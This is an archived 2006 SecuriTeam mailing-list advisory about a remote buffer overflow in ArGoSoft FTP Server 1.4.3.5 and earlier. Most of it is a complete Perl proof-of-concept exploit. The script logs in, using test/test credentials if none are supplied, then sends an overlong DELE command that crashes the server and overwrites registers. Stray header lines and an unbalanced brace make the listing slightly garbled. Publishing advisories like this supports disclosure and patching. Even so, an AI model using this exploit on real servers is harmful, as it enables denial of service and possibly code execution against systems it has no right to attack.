

[EXPL] ArGoSoft FTP Server Remote Buffer Overflow Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00074.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 26 Feb 2006 13:45:09 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

ArGoSoft FTP Server Remote Buffer Overflow Exploit

SUMMARY

" <<http://www.argosoft.com/RootPages/FtpServer/Default.aspx>> ArGoSoft FTP Server is a FTP server for Windows95/98/NT, and supports all basic FTP commands, and much more, such as passive mode, resuming file transfers, windows shortcuts to another files, folders and drives (including network drives), virtual domains (multiple IP homes), IP filtering, site specific commands, such as compressing and copying files on the server, changing date/time stamps, and so on."

Lack of proper length validation in ArGoSoft FTP server commands allows attackers to execute arbitrary code or cause a DoS condition and crash the server.

DETAILS

Vulnerable Systems:

* ArGoSoft FTP server 1.4.3.5 and prior

#!/usr/bin/perl

[EXPL] ArGoSoft FTP Server Remote Buffer Overflow Exploit

```
# ----- #
# ArGoSoftFTP.pl – PoC exploit for ArGoSoft FTP Server #
# Jerome Athias #
# ----- #

use Net::FTP;

# getting data
$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];

# =====

if (($host) && ($port)) {

# make exploit string
$exploit_string = "DELE ";
$exploit_string .= "A" x 2041;
$exploit_string .= "B" x 4;
$exploit_string .= "C" x 1026;

# On Win2K SP4 FR:
# EAX 42424241
# ECX 43434343
# EDX 43434342
# EBX 43434B73

# =====

print "Trying to connect to $host:$port\n";
$sock = Net::FTP->new("$host",Port => $port, TimeOut => 30,
Debug=> $debug) or die "[-] Connection failed\n";
print "[+] Connect OK!\n";
print "Logging...\n";
if (!$user) {
$user = "test";
$pass = "test";
}
$sock->login($user, $pass);
$answer = $sock->message;
print "Sending string...\n";
$sock->quot($exploit_string);
} else {
print "ArGoSoft FTP Server – PoC
Exploit\nhttps://www.securinfos.info\n\nUsing: $0 host port
username password [debug: 1 or 0]\n\n";
}
}
```

[EXPL] ArGoSoft FTP Server Remote Buffer Overflow Exploit

EoF

ADDITIONAL INFORMATION

The information has been provided by <<mailto:jerome.athias@xxxxxxx>>

Jerome Athias.

The original article can be found at:

<https://www.securinfos.info/english/security-advisories-alerts/20060225_ArGoSoft.FTP.Server_Heap.Overflow.htm>

https://www.securinfos.info/english/security-advisories-alerts/20060225_ArGoSoft.FTP.Server_Heap.Overflow.html

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.